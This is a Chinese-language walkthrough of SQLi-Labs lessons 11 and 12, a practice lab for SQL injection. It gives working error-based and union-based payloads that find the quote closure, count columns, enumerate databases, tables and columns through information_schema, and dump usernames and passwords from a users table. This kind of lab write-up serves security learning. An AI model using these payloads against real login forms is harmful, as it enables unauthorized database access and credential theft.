Less-11
基于错误的 POST 型单引号字符型注入
判断注入点
像是这种post类型的,可以现在每一个输入框内进行尝试,先在username中使用单引号进行尝试
1' or 1=1#
结果:登陆成功,说明闭合方式为单引号,并且有回显,我们就可以尝试联合查询注入
判断字段数
1' order by 2#
得到结果字段数为2列
判断回显位
-1' union select 1,2 #
爆破数据库名
' union select 1,database() #
得到数据库名为 "security"
爆破表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破字段名
' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
爆破数据
' union select 1, group_concat(username,password) from users #
Less-12:
判断注入点
因为有回显,所以直接用\判断注入点以及闭合方式
报错信息:去掉用来引出报错信息的单引号,发现闭合方式是双引号+括号
near '"\") and password=("") LIMIT 0,1' at line 1
判断字段数
1" order by 2#
字段数为2